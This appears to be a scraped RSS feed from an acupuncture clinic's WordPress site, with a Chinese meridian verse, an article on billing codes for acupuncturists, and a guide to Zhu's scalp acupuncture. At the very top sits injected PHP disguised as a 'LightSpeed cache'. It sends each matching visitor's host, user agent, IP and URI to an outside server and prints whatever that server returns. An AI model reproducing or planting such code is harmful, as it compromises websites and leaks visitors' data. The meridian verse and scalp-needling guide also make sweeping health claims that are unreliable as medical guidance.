/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } Acupuncture – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 十四经络歌——配经络动画图 http://acuherb.us/%e5%8d%81%e5%9b%9b%e7%bb%8f%e7%bb%9c-%e9%85%8d%e5%8a%a8%e7%94%bb/ Mon, 18 Aug 2014 22:02:36 +0000 http://acuherb.us/?p=2916

 

1、任脉位于正前胸，心脏脾胃行不通；
上连乳腺下子宫，万一不通变老翁；

2、督脉立于脊椎中，监督气血来运行；
五脏六腑督脉宫，对应区域弯曲痛；

3、胆经裤线重叠行，分泌紊乱变神经；
嗜睡液汗疲倦态，腋窝肿胀后脑痛；
淋巴发炎局部胖，眼花目黄有增生；

4、肝经对应胆经行，循环分泌掌控中；
肤色发青腰疼痛，眼圈发黑有痛经；
眼球发干眼屎多，肝火旺盛有罪行；

5、肝经后面是肾经，距离不远两指空；
分泌系统掌控中，尿量稀少还尿频；
眼袋眼皱足下冷，下肢肿胀善惊恐；
经前腰酸背又痛，脸上出斑心发惊；
记忆下降无睡梦，症状不通慢慢通；

6、肾经对应膀胱经，泌尿骨骼掌控中；
小便发黄膀胱痛，尿路发炎讲卫生；
四肢无力后背痛，痔疮难坐肩颈痛；

7、胃经位于胆经前，三指距离到经中；
口腔糜乱牙肿痛，口干口臭腹胀痛；
体热打嗝喜食冷，大便干燥且不通；

 

8、胃经对应是脾经，免疫神经掌控中；
胃胀打嗝排气空，呕吐难耐肋下痛；
曲张平血低血压，风湿还有关节痛；

9、食指腋窝大肠经，手臂外侧属阳经；
消化神经掌控中，它要不痛腹胀痛；
便秘口干肩颈痛，体热痔疮加头痛；

10、胸到拇指为肺经，手臂内侧属阴经；
呼吸免疫掌控中，缺水敏感鼻不通；
体热出汗背有痘，干燥痰多下咽痛；
感冒发冷体内空；

11、心到小指为心经，手臂内侧属阴经；
循环系统掌控中，胸口沉闷与头痛；
心烦失眠也多梦，肩与前胸多疼痛；
目赤颧红口干燥，血液不良喜安静；
心事过多压力重；

12、小指肩窝小肠经，手臂外侧属阳经；
消化神经掌控中，太阳耳部会疼痛；
经前腹胀后脑痛，后背肩胛至背痛；

13、胸到中指心包经，手臂内侧属阴经；
分泌循环掌控中，循环差异血管病；
心跳过快还便秘，心烦目赤上肢痛；

14、无名至肩三焦经，手臂外侧属阳经；
分泌循环掌控中，免疫下降忧郁症；
疲倦易得慢性病！

附:完整十四经络子午流注图

]]> Coding for Acupuncturists http://acuherb.us/coding-for-acupuncturists/ Wed, 09 Apr 2014 18:36:52 +0000 http://acuherb.us/?p=2863

Coding for Acupuncturists

By Kenneth Y. Wang  The provision of acupuncture and oriental medicine within the third-party payer system of American healthcare necessitates the use of codes which designate what is being treated and what procedures are being utilized. The codes used that designate diagnoses are listed in the International classification of Disease, 9th Revision, commonly referred to as the ICD-9. Some state rules and regulations restrict licensed acupuncturists from diagnosis in medical terms. Still, the ICD-9 contains many codes that are sign and symptom oriented and well within those limits. If you have a referral with a diagnosis and treatment plan from the primary care physician, so much the better. But you must provide an ICD code when billing and that diagnosis should be clear in you chart notes as well. The codes that designate therapeutic procedures are listed in Current Procedural Terminology (CPT), updated and published yearly by the American Medical Association.Until 1997 there were no CPT codes for acupuncture. The advent in that year of the CPT codes for acupuncture (97780) and acupuncture with electrical stimulation (97781) was a milestone for integration. A new milestone was reached with the doubling of the acupuncture code set as of January 1, 2005 when 97780 and 97781 were retired. In their place we have:97810 Acupuncture, one or more needles, without electrical stimulation, initial 15 minutes of personal one-on-one contact with the patient. 97811 Acupuncture, one or more needles, without electrical stimulation, each additional 15 minute increment of personal one- to-one contact with the patient, with reinsertion. (List separately in addition to code for primary procedure) 97813 Acupuncture, one or more needles, with electrical stimulation, initial 15 minutes of personal one-on-one contact with the patient. 97814 Acupuncture, one or more needles, with electrical stimulation, each additional 15 minute increment of personal one-on- one contact with the patient, with reinsertion. (List separately in addition to code for primary procedure) There cannot, of course, be milestones without obstacles and the path of development for these new codes was less than smooth. One glaring example of this is found in the definition of the codes, which includes the word .reinsertion.. This is not a word that has meaning within the acupuncture community since we do not reuse needles or points within a single treatment. This word was added by the AMA Reimbursement Update Committee (see below) to connote an additional set of points that would demand a greater amount of work. A .set. is undefined but according to the code definition it could be a single point. It must, for documentation purposes, be distinctly separate in some fashion and in the process of code development it was implied that a set would require repositioning of the patient. The CPT codes are the property of the AMA and they serve as a significant source of income for that organization. The CPT codes are used nationwide and have become not only the de facto standard but also the only HIPPA compliant code set. HIPPA, amongst many other things, mandated that there be a consistent code set across the country, no longer would there be regional codes, no longer would individual payors be able to use their own codes. The Centers for Medicare and Medicaid Services (CMS) is responsible for contracting with the AMA and establishing what is essentially a government mandated monopoly. In this process the CPT codes have come up against some criticism for being incomplete. An alternative code set, the Advanced Billing Concept (ABC) codes has been developed specifically with complementary and alternative medicine in mind. This was certainly not the focus of CPT. When HIPPA became the law of the land there existed a certain amount of pressure on the CPT to expand the code set. Acupuncture was one area ripe for expansion. The CPT Committee formed a workgroup comprised of representatives from the professional organizations that have acupuncture in their scopes of practice. These included the American Chiropractic Association (ACA), the American Academy of Medical Acupuncture (AAMA), the American Association of Oriental Medicine (AAOM) and the Acupuncture and Oriental Medicine Alliance (AOMAlliance). This group of practitioners met for over a year to develop a rational system that allowed for greater variability in coding an acupuncture treatment and still stood up under the scrutiny of, and was understandable to, the CPT Committee, few of whom had any knowledge of acupuncture. Time-based codes are something that has many precedents in the framework of the CPT code set and the conclusion of the workgroup was that this was the best strategy for additional acupuncture codes. These codes were indeed accepted by the CPT Committee and were then sent to the Reimbursement Update Committee (RUC) for valuation. The valuation process is one that all CPT codes go through and is, as they say, .where the rubber meets the road.. Valuation of a code means establishing a number called a Relative Value Unit (RVU) for that code. The number of .Units. expresses a .Value. which is .Relative. to that of other medical procedures, whether they be a colonoscopy or a cold pack. The RVU is made up of three separate component values. (The process of arriving at these values is beyond the scope of this article and to some extent proprietary to the AMA. Suffice it to say that it tries to be scientific, or at least systematic.) The .work value. denotes the training, effort and intensity of the practitioner.s effort. The .malpractice value. denotes the risk involved in the procedure. The .practice expense value. denotes the cost of the office and equipment needed to perform the procedure. These three values are added to arrive at the RVU for that particular code. The RVU is then multiplied by a .conversion factor. to arrive at a dollar value for each code. The conversion factor is a dollar amount that is established contractually by insurers or regionally by CMS regulations for Medicare and Medicaid services. So, RVU x Conversion Factor = Reimbursement. The Medicare conversion factor for 2007 is $37.8975, which is one reason your physician colleagues have very mixed feelings about being involved in it. Which begs the question: What is the RVU for acupuncture? When 97780 and 97781 were established there was disagreement among the practitioners consulted and since neither code was a Medicare/Medicaid reimbursable expense CMS did not feel it necessary to publish values. There do exist other RVU systems, which are published independently of CMS and the AMA. Relative Value Studies Inc. published values of 1.83 for 97780 and 1.96 for 97781. When CMS fist published the values for 97810-97814 they ranged from .53 to .68. This was due to, through error or omission, the cost of actually having an office (the practice expense portion) being left out of the code value. Any use of those code values is a clear under- valuation of acupuncture services but you may find an insurer still using these values. Fortunately this error was corrected by CMS and you will find the RVU as of 2007 at: 97810 .98 97811 .76 97813 1.05 97814 .85 The understanding of the workgroup was that the most common level of service would be 30 minutes of patient contact time, therefore, if there is no electrical stimulation, 97810 and one unit of 97811. If there is electrical stimulation one would use 97813 or 97814 or both as appropriate. The CPT initially mandated that one cannot mix the acupuncture without electrical stimulation codes and acupuncture with electrical stimulation codes but has since changed that to reflect the clinical reality. There are, of course, other nuances to code use. One of these is the aforementioned .reinsertion.. Another involves evaluation and management (E&M). E&M codes are divided into a new and a returning patient series of five levels of increasing complexity, time and charge. New patient codes are 99201 through 99205. Established patient codes are 99211 through 99215. The difference between a new patient and an established patient is three years. If the patient has not been seen by anyone in your clinic in that amount of time they can be considered .new.. Specific definitions of these codes can be found in the CPT manual. The 2007 E&M RVU are: 97201 .99 97202 1.73 97203 2.56 97204 3.92 97205 4.93 97211 .55 97212 1.02 97213 1.66 97214 2.52 97215 3.42 Typically within this model one patient encounter would entail the use of one E&M code and one or more procedure codes. The new codes for acupuncture do have a small amount of E&M included but it is minimal. The time element of the new codes are divided into three segments: . .Pre-service., greeting of the patient and a brief interval history. The code is based on this being 3 min. . .Intra-service., everything connected with doing the procedure – washing your hands, positioning the patient, locating and cleaning the points, inserting and stimulating the needles, checking on the patient, removing the needles. The code is based on this being 15 minutes. This does not include needle retention time when you are not directly monitoring or communicating with the patient. . .Post-service., charting and any instructions to the patient. The code is based on this being three minutes. If your pre- and post- service time substantially exceeds 6 minutes and is clinically necessary you could charge for a suitable level of E&M, but it is essential that you document that you have fulfilled the requirements of that E&M code per the CPT manual and you must modify the E&M code with a -25 modifier to denote that this is a significant, separately identifiable level of service. Insurers will expect E&M to be billed with a new patient and on reevaluation or a new diagnosis of an established patient. It is inappropriate to bill an E&M for each visit. Everything you code for must be supported by your chart notes. Historically the profession of acupuncture has been based on a cash practice with little variation of charge from patient to patient. Moving towards integration into the reimbursement structure of American healthcare means adopting and adapting the standard practices of coding to what we do. Our professional responsibility is to charge with consistency a reasonable amount for our services. Insurance is not a cash cow to be milked by the sophisticated practitioner but an expression of the shared risk of human suffering.
]]> BRIEF HISTORY OF SCALP ACUPUNCTURE http://acuherb.us/brief-history-of-scalp-acupuncture/ Tue, 03 Apr 2012 16:32:41 +0000 http://acuherb.us/?p=1467

By Dr. Kenneth Y. Wang PhD, OMD, LAc.

THE NATURE OF SCALP ACUPUNCTURE

Scalp acupuncture is one of several specialized acupuncture techniques with a specific body location, taking its place alongside ear, nose, hand, foot, and wrist/ankle acupuncture.  The more general acupuncture therapy is often called body acupuncture. 

Although the scalp has numerous traditionally-identified acupuncture points along several of the major meridians (notably the stomach, bladder, gallbladder, triple burner, and governing vessel), modern scalp acupuncture differs from traditional acupuncture therapy.  There are three basic features of scalp acupuncture that differentiate it from body acupuncture:

1.      Treatment zones have been mapped onto the scalp that are associated with body functions and broad body regions. The zones include a few standard acupuncture points, but the treatment principle for point selection is usually not based on the traditional indication for the point or associated meridian.  In general, within a defined zone, the forward part of the zone (nearer the face) is used to treat the upper body, while the rear portion of the zone is used to treat the lower body.  Functional zones, such as sensory, memory, and motor, are usually located at the back and sides of the scalp.

2.      In scalp acupuncture, the needles are to be inserted within a thin layer of loose tissue beneath the scalp surface, at a low angle of about 15–30 degrees, involving an insertion distance of about 1 cun [the cun is a variable unit of measure based on body size; about one inch for an adult].  Standard acupuncture of scalp points normally involves subcutaneous insertion up to a depth 1/2 cun or less (about 0.3–0.5 inches for an adult) at a high angle of 60–90 degrees. 

3.      For scalp acupuncture, the needles are to be subjected to rapid stimulation, which may be carried out in a variety of ways, including pulling/thrusting, twirling, and electro-stimulation.  Standard acupuncture applied to scalp points usually involves less rapid stimulation or moxibustion as the main stimulation technique. When using manual manipulation in modern scalp acupuncture, it is common to stimulate the needles for 2–3 minutes at a time, with a rest period of 5–10 minutes between stimulations. 

The technique is predominantly a small-needle therapy in which shu points in the scalp are treated.  Shu points refer to “stream” points where the qi of the internal organs is infused.  In the system of body acupuncture, there are 5 shu points (one for each element) on each of the 12 meridians (below the elbow or below the knee) plus the back shu points, which are each located in the vicinity of one of the internal organs.  According to the theory of channels and collaterals, shu points in the head can be used to treat diseases of the whole body. 

Lu claims that more than 80 diseases are currently treated by this therapeutic method, which is particularly effective in treating disorders of the central nervous system and various acute and chronic pain syndromes.  He mentions specific examples: neurasthenia, anxiety neurosis, and other psychological and psychosomatic disorders, periarthritis of the shoulders, ischialgia, pain in the back and loin, painful heels, and other pain syndromes, hemiplegia, aphasia, senile dementia, and other brain disorders.

During the 1970’s, scalp acupuncture was developed as a complete acupuncture system.  Three major contributors to the development of this system, Jiao Shunfa, Fang Yunpeng, and Tang Songyan, each proposed different diagrams and groupings of scalp acupuncture points.  For example, Jiao divided the scalp points into motor and sensory areas, Fang into writing (speech) and reading (memory) centers, and Tang into upper, middle, and lower burner areas.  Several different methods of needling were proposed.  Jiao advocated rapid twirling with penetrating and transverse needling; Fang favored the slight twirling method and oblique needling; while Tang recommended long-duration needle retention with superficial stimulation of the needles, using the lifting and thrusting method.

Thus, scalp acupuncture is not really a single system, but a multiplicity of systems still in development, with a 30-year history of practical experience.  A standard of nomenclature for acupuncture points has been developed (adopted in 1984 and reconfirmed in 1989), indicating 14 therapeutic lines or zones based on a combination of the thoughts of the different schools of scalp acupuncture.  However, it is often necessary to carefully review the zones relied upon by an individual practitioner, as few have adopted the unified pattern.

As Lu states in his article, Professor Zhu Mingqing (who had been associate professor at Lu’s department in Beijing before emigrating to theU.S.) has developed a popular version of scalp acupuncture. “In recent years, Zhu’s scalp acupuncture has been a craze inJapan,America, andChina.  As a school of scalp acupuncture therapy, Zhu’s method is actually derived from the standard scheme [adopted inChina] and based on the clinical experience of Zhu Mingqing.  In Zhu’s scalp acupuncture, 8 therapeutic zones are used [actually, 9 zones], and the manipulation is characterized by forceful, small-amplitude lifting and thrusting of the needle, associated with massage [of the body part to be affected] and physical and breathing exercises.  In fact, the therapeutic zones in Zhu’s scalp acupuncture are determined on the basis of the standard scheme.” 

Dr. Zhu’s father was an acupuncturist who worked on scalp acupuncture, and Zhu has been working as an acupuncturist since graduating from the Collegeof Chinese Medicinein Shanghaiin 1964.  He served as assistant director of the Scalp Points Research Group of the Chinese Acupuncture Association from 1987 to 1989.  Since coming to the U.S., he has worked closely with Dr. Eva Munwu Chau, former president of the California Acupuncture Association.  In 1991, Zhu established the ChineseScalpAcupunctureCenterof the U.S.A.in San Francisco, and, in 1992, he published an English-language book on his methods: Zhu’s Scalp Acupuncture, now out of print.  He currently provides treatments for several neurological disorders at Zhu’sAcupunctureMedical & NeurologyCenter, inSan Jose,California (see Appendix 2 for more on Zhu’s experiences in theU.S.). 

Dr. Zhu traces the origins of modern scalp acupuncture to the work of Huang Xuelong, who in 1935 introduced the concept that there is a relationship between the scalp and the cerebral cortex.  Several acupuncturists pursued this line, seeking points and zones on the scalp that would treat diseases of the brain.  Initial results of clinical work indicated that acupuncture applied to the scalp had good effect on diseases that were associated with cerebral damage, such as stroke.  Its applications were then extended to virtually all other diseases, but a focus on nervous system disorders is still dominant.  Other physicians inChinatrace the acceptance of scalp acupuncture as a new system to the development of ear acupuncture, which is also thought to be especially useful for neurological disorders due to the location of needling at the head.

ZHU’S SCALP ACUPUNCTURE

According to Dr. Zhu, Baihui (GV-20) is the basis for all of the scalp points.  Quoting from the Ling Shu: “The brain is the sea of marrow.  Its upper part lies beneath the scalp, at the vertex, at pointBaihui.”  The point’s Chinese name indicates that it is the great meeting place (literally: hundred meetings). Traditionally, this point is treated to stabilize the ascending yang; it is also needled in order to clear the senses and calm the spirit. 

The Governing Vessel enters the brain at point Fengfu (GV-16).  The external pathway of the Governing Vessel is used to divide the left and right sides of the scalp. The left side governs qi and the right side governs blood.  Needling of the left side has a greater impact on disorders of the left side of the head and neck, but of the right side of the body below the neck, and conversely.

In Zhu’s system of acupuncture, there are three main zones (designated the Eding zone, Dingzhen zone and Dingnie zone) subdivided into a total of 11 portions, and three secondary zones, each divided into two portions (designated Epang 1, Epang 2, front zone of Dingjie, back zone of Dingjie, Niehou and Nieqian). The zone names are simply based on anatomical descriptions.  Following is a review of the primary scalp acupuncture zones (See Appendix 1 for a picture of the zones).

Eding Zone

Ding refers to the top of the head, and E (pronounced “uh”) refers to the forehead.  The Eding zone runs from the forehead to the top of the head.  This is a zone that runs along the governing channel, covering a narrow band from a point 1/2 cun in front of GV-24 (at the forehead/scalp border) back to GV-20.  The width is 1 cun and the length is 5 cun. The Eding zone governs the yin side (front) of the body, running from the perineum (GV-20 area of needling) to the head (GV-24 area of needling).  The zone is divided into four regions.

Eding 1 is the anterior quarter of the region, extending from GV-24 forward by 1/2 cun. This region is used to treat the whole head and neck region.  The effects of treatment in this region include calming the spirit, opening the orifices, arousing the mind, and brightening the eyes. To treat, insert the needle along the side of the zone that corresponds with the side of the head or neck that is affected.  That is, although treatment usually includes one needle in the center of the zone (along the GV line), if the problem is on the right side of the head or throat, place the needle on the right side of the zone.  For example, treating blurred vision in the right eye, place one needle in the right side of the Eding 1 zone or insert the needle at the center of the zone and direct it to the right side of the zone.  The direction of needling is usually towards the face.

Eding 2 is the second quarter of the zone, extending from GV-24 to GV-22. This region is primarily used to treat disorders of the chest region. The functions include opening the chest and regulating qi, opening the lungs, stopping wheezing, and calming the spirit.  If the problem is on one side of the body, needle the side of the zone on the opposite side (contralateral).

Eding 3 is the third quarter of the zone, extending from GV-22 to GV-21. This region is primarily used to treat disorders of the middle burner (including treatment of acute appendicitis). The functions include stopping vomiting and diarrhea, regulating the liver qi, and regulating the gallbladder. To treat, use the contralateral side.

Eding 4 is the last quarter of the zone, extending from GV-21 to GV-20. This region is used to treat the lower burner and the lower limbs. The functions include regulating the menses, strengthening the kidneys and promoting urination. Needle on the contralateral side; if the disorder is central, as in bladder dysfunction, needle the central line of the zone or both sides.  The direction of needling is usually towards the back of the head.

As described above, Zhu follows the principal that if the disorder affects the left or right side of the body, then treatment that is intended to affect the head or neck is done on the same side of the zone as the side of the disorder (ipsilateral), but if it is below the neck, then the needle is placed on the opposite side of the zone.  This approach has been followed by many scalp acupuncture specialists inChina. However, a few researchers claim that clinical evidence does not support the need to treat one side or the other; rather, one can alternate sides on subsequent days.  At this time, there is probably insufficient data to demonstrate that one or the other approach is significantly better.  Alternate side needling might be better tolerated by the patient when daily needling is used.  For those following Zhu’s technique, treating one side according to location of symptoms would be consistent with his extensive clinical experience.

Dingzhen Zone

Zhen (pronounced “jun”) refers to pillow, and indicates the back of the head.  The Dingzhen zone runs from the top of the head to the back of the head, between GV-20 and GV-17. The zone is 1 cun wide. It governs the spine, the yang aspect of the body (back). It can be divided into 4 regions, equally spaced from each other. This region is mainly used for pain.

Dingzhen 1 (starting at GV-20) governs the back of the head and the neck.

Dingzhen 2 governs the vertebrae C-7 (seventh cervical, base of the neck) through T-10 (10th thoracic).

Dingzhen 3 governs the vertebrae T-10 through L-5 (fifth lumbar).

Dingzhen 4 (ending at GV-17) governs the sacrum and coccyx.  Needling here is painful, so it is rarely used.

The Eding and Dingzhen zones together form a central line from the front to the back of the scalp.  In mapping the zones to the body structure, this line represents a continuum from head to abdominal base repeated twice, first covering the front of the body (the more frontal points) and then the back of the body.  The meeting point of the two zones, GV-20, can be used to treat the entire body, depending on the aim of the needle.

Dingnie Zone

Nie (pronounced “nyeh”) refers to the temple.  The Dingnie zone runs from the center top of the head to the temple, at an angle (aiming to the cheekbones).  It is located on a line from GV-21 to 1/2 cun anterior to ST-8. The zone is 1 cun wide. It can be divided into 3 equal parts, and each part is used as a representation of a body region that can be treated within the zone.

Dingnie 1 governs the lower limbs.  The homunculus for this zone looks like a person is kneeling with their foot and thigh on top of each other (near GV-21), and their knees pointing towards ST-8.  This zone does not include the hip joint. 

Dingnie 2 governs the upper limbs.  The homunculus for this zone like a person with their elbows bent.  The elbow zone is near the region between Dingnie 1 and 2. The upper arm (not including the shoulder) and wrist are mapped near the intersection between Dingnie 2 and 3.

Dingnie 3 (near ST-8) governs the head.  It covers motor-sensory problems. This zone is rarely used as it can be painful to needle; Eding 1 is usually used instead.

Mapping from the frontal hairline back, the top of the body is forward.  Also, the sensory zone is toward the forward part of the Dingnie zone, while the motor zone is toward the back of the Dingniezone.  Needling of this zone may include insertion from GV-21 towards ST-8 or in the reverse direction.

Epang Zone

Pang (pronounced “pong”) means along the side.  The Epang zone is a series of short segments along the border of the forehead/scalp on either side of the central line.  This zone is actually comprised of short and narrow segments running from the top of the forehead into the hair zone.

Epang 1 is used to treat acute diseases of the middle burner. It is located 1/2 cun on either side of GB-15. The zone is 1/2 cun wide.

Epang 2 is used to treat acute diseases of the lower burner. It is located halfway between GB-13 and ST-8.  The zone is 1 cun long and 1/2 cun wide.

This mapping of the body runs from the center line (GV, the Eding zone governing head and throat) to the side, progressing from head to middle warmer to lower warmer.

Dingjie Zone

Jie (pronounced “jeah”) refers to being closely bound to something: this is a zone adjacent to GV-20.  Dingjie has a front zone—Dingjieqian—and a back zone—Dingjiehou.  Qian (pronounced “chian”) means forward, and hou (pronounced “how”) means back.  The Dingjie zone is a set of four short segments arrayed from the top of the head to the front and back sides of the head.  These are short lines radiating forward and back to the sides from GV-20, the meeting spot between the end of the Eding zone (corresponding to the genital area) and the beginning of the Dingzhen zone (corresponding to the head and neck).  The front Dingjie zone treats an area of the body just above that treated by the end of the Eding zone, and the back Dingjie zone treats an area just below that treated by the beginning of the Dingzhen zone.

Front Zone of Dingjie: This zone is located on a line from GV-20 to BL-7. This area is used to treat the hips and inguinal area.

Back Zone of Dingjie: This zone is located on a line from GV-20 to BL-8. It is used to treat the area above the scapula, the upper trapezius region.

Nieqian and Niehou Zones

Nie (pronounced “nyeah”) refers to the temple.  The Nieqian (meaning forward temple) zone is near the temple, above and to the front of the sideburn, while the Niehou (meaning back temple) zone is set back from the temple (over the top of the ear).  The zones at the sides of the head are rarely used because the needling tends to be painful. 

Nieqian Zone: This zone is located on a line from GB-4 to GB-6. It is used to treat shaoyang disorders (those that are deemed half-inside and half-external in nature, and those affecting the liver/gallbladder areas, such as hypochondrium and sides of the chest), side-of-the-face problems, menstrual-related migraines.

Niehou Zone: This zone is located on a line from GB-9 to TB-20. It is mainly used to treat diseases of the ear.

MAPPING OF THE BODY WITHIN THE ZONES

The Dingnie zones, which extend at angles towards the front of the head (from GV-21 to ST-8 on either side) from the central Eding zone, overlap the central zone.  The mapping of body parts to the zones places the foot at the beginning of the Dingnie zone (at GV-21) and the head at the end of the Dingnie zone (at ST-8):  Dingnie zone #1 is used for treating the legs; Dingnie zone #2 is used for treating the arms; Dingnie zone #3 is used for treating the head.  However, because Dingnie zone #3 is more painful to needle and, because treatment of the head is adequately accomplished in the Eding zone #1;Dingnie #3 is seldom used by Dr. Zhu. 

To visualize the mapping, imagine a person squatting down with arms bent, placing the elbow on the knee, with the hand by the shoulder.  The beginning of Dingnie #1 is at the base of the foot, this overlaps with the upper thigh due to the squatting position, and then it maps upward to the knee; the zone then continues up the arm from the elbow towards the hand and shoulder, including the forearm in that same space (Dingnie #2); finally, it follows up the head (Dingnie #3).  The foot location of the Dingnie zone #1 extends all the way to the far side of the Eding zone (the Eding zone runs along the governor vessel; the zone covers 1/2 cun on either side of GV; when needling Dingnie to treat the foot, the point of the needle, threaded into the scalp, rests at the junction of the beginning of Dingnie zone #1, where it meets the far side of Eding.  Therefore, the needle enters the scalp behind the Dingnie zone.  Dingnie zone #1 does not include the hips, and Dingnie zone #2 does not include the shoulder girdle; to treat those parts of the body, Dr. Zhu relies primarily on the Dingnie zones.  Aside from the standard zones, palpation of the scalp for tender points helps Zhu to identify the specific needling sites within the selected zone.  The Eding zone is the most frequently used of the scalp zones, with the Dingnie zones being used additionally for treating affected limbs.

When treating a neurological problem that affects the extremities, the needles are directed, along a zone, towards the opposite extremity.  Thus, for example, if the left leg is affected, the needle will be directed outward along Dingnie #1 on the right side of the scalp.  Only for problems of the head and neck is the needling done on the same side of the scalp as the disorder.  For disorders that are not specific to a body location, such as hypertension or epilepsy, needling may be done on both sides of the zone.

If the disorder to be treated is associated with a degenerative disease involving a kidney deficiency syndrome (common in elderly patients and those with chronic, degenerative diseases), then Eding zone #4 is usually needled.  A typical needling pattern is: one needle in the center of the zone, and one needle on either edge of the zone, about 0.5 cun apart from the central needle; for a total of 3 parallel needles in the zone, with the central needle leading the other 2 by about 0.5 cun, producing an arrow formation; the outer 2 needles are directed towards the part of the zone that corresponds to the kidney, while the inner needle is directed toward the part of the zone corresponding to the genitals.

Dr. Zhu sometimes uses a “crossing” technique for needle positioning, mainly in treating cases of severe pain.  He selects a zone site for treatment, and inserts one needle along the zone and then inserts a second needle perpendicular to that one, going across the zone and crossing over the first needle.  As an example for right-knee pain, a needle is first directed along Dingnie #1 towards the left temple, and then a second needle is inserted across that one.  The second needle is stimulated by the draining method.  In cases of quadriplegia, another crossing technique is used. The first needle is inserted across the zone (e.g., from the left part of the zone to the right part of the zone, at about a 45 degree angle), and then a second needle, crossing over the first (e.g., from the right part of the zone to the left part of the zone).  In some cases, a series of cross-over needles are inserted along the length of a zone (this may incorporate as many as 3 pairs of needles).

THE NEEDLING TECHNIQUE

The needle size often mentioned in Chinese texts for scalp acupuncture is 26, 28, or 30 gauge, which is suitable for rapid twirling techniques.  For Zhu’s needle stimulation technique (thrust and pull method), a somewhat finer needle gauge of 32 or 34 is suitable for most cases, and the insertion length is approximately 1 cun.  A 30 mm (1.2 inch) needle with a wound head is thought to be the best.  The needle must be long enough so that it is not inserted up to the handle, but short enough that there will not be any bending during insertion and manipulation.  The angle of insertion is typically 15–25 degrees.  The patient should not feel pain, though there are some rarely used scalp points along the sides of the head, mentioned above, that typically produce pain.

The needle is inserted along the practitioner’s nail pressing the skin.  Press besides the treatment zones with the nail of the thumb and first finger of the left hand, hold the needle with the right hand, and keep the needle tip closely against the nail.  By avoiding the hair follicle, one can minimize pain during insertion. The direction of needling is usually based on the mapping of the body within the zone being treated: the needle is aimed (along the line of the zone) toward that portion of the zone most closely corresponding to the area of the body that is affected by the injury or disease.

Although the distance from the skin surface to the skull is very short, there are several tissue layers: the skin, hypodermis, galea aponeurotica and occipito-frontalis muscles, subaproneurotic space, and pericranium.  The subaproneurotic space is a loose layer of connective tissue that is ideal for penetration during scalp needling: the needle slides in smoothly and does not cause pain, yet the desired needling sensation is strong.  If the angle of needling is too shallow, the needle will penetrate the skin and muscle layers and it will be difficult to get a smooth insertion. 

Upon inserting the needles, stimulation is applied for 1–2 minutes (see below for stimulation technique).  The needles are manipulated again after intervals of 10–15 minutes, for 1–2 minutes each time, throughout the duration of the patient visit, which may be as long as 2–3 hours.  Sometimes, the interval between needle stimulation sessions is longer due to insufficient staff time when there are numerous patients, but usually within 30 minutes.

The needles should remain in the scalp for a minimum of 4 hours (except for treatment of acute symptoms, in which case, 0.5–1 hour is sufficient) and up to a maximum of 2 days.  However, for children and weak adults, the time of retention should be shorter.  Dr. Zhu generally prefers long-term needle retention of 1–2 days; this is in contrast to the method of Jiao Shunfa, who advocated removing the needles after the basic manipulations.  At Zhu’s clinic, the scalp needles are often left in place when the patient leaves, and are not removed until the next visit, which is 24–48 hours later.  At that time, new needles are inserted at different points.  If several parts of the body are affected by the illness or injury, the points selected may be rotated through a cycle aimed at treating each of the different body parts.

There are two basic needling methods for manipulating the qi, designated jinqi and chouqi, that have been elucidated by Dr. Zhu.  Both are based on ancient techniques and involve a rapid, short distance movements.  Jinqi (jin means move forward) is a tonifying, thrusting method.  “Thrust the needle quickly with violent force, but the body of the needle doesn’t move, or no more than 0.1 cun in.” Following the thrust, the needle is allowed to settle back to its original position. Chouqi (chou means to withdraw) is a sedating, reducing method.  It is based on forceful movement and a lifting motion.  “Lift the needle quickly with violent force, but the body of the needle doesn’t move, or no more than 0.1 cun out.”  Again, after the pull, the needle settles back to its original position. 

Lu Shoukang mentions in his article that he prefers using the small-amplitude, forceful lifting method, rather than the twirling method, because “it saves the operator effort and gives the patient less suffering.”  He describes his preferred method as follows: “When inserted to a certain depth (about 1 cun), the needle is forcefully lifted outwards or thrust inwards.  The direction [angle] of lifting or thrusting is the same as that of the insertion.  The outward and inward force exerted on the needle should be sudden and violent as if it is the strength from the whole body of the operator.  The lifting and thrusting amplitude should be small, no more than 1 fen [1/10 cun].  After lifting and thrusting continuously for three times, the needle body is sent back to the original place (about one cun) and significant therapeutic effects will be obtained after the maneuver is repeated for 2–3 minutes.” 

For the majority of neurological disorders, the tonification technique (jinqi) is used, with a series of rapid, very small-amplitude, in-out needle movements.  The emphasis is on the forward movement, then allow the needle to naturally pull back to the starting position.  In cases of pain syndromes, the draining method (chouqi) is used, with the same kind of rapid, limited distance movements, but with the emphasis on outward movement, then allowing the needle to settle back in to the starting position.  During the stimulations, it is important for both the practitioner and the patient to focus on the breath (this is an aspect of qigong therapy that is incorporated into the treatment).  There should be no talking during needle stimulus: all attention is on the needling and its effects.  The mental focus is on “directing the breath” to the body part that is to be affected.

Regarding repetitions of the stimulus, Zhu says: “Repeat many times until revival of qi and effect is achieved.”  He usually does not specify a manipulation duration, but rather bases the duration on observed response.  He claims that by using the small amplitude manipulation method rather than the twirling method, one has the advantages of “large amount of stimulation, saving effort, less pain sensation, and strong needling sensation,” yet the therapeutic effects are achieved quickly.  The method is also easy to master, though success may depend on the qi of the practitioner when utilizing the forceful but small amplitude manipulations.  Dr. Zhu does not rely on moxa, due to the problems associated with large amounts of smoke in the group treatment setting and lack of adequate ventilation at theNeurologyCenter.  He does use heat lamps to provide heat to an affected body part, when it is deemed valuable.

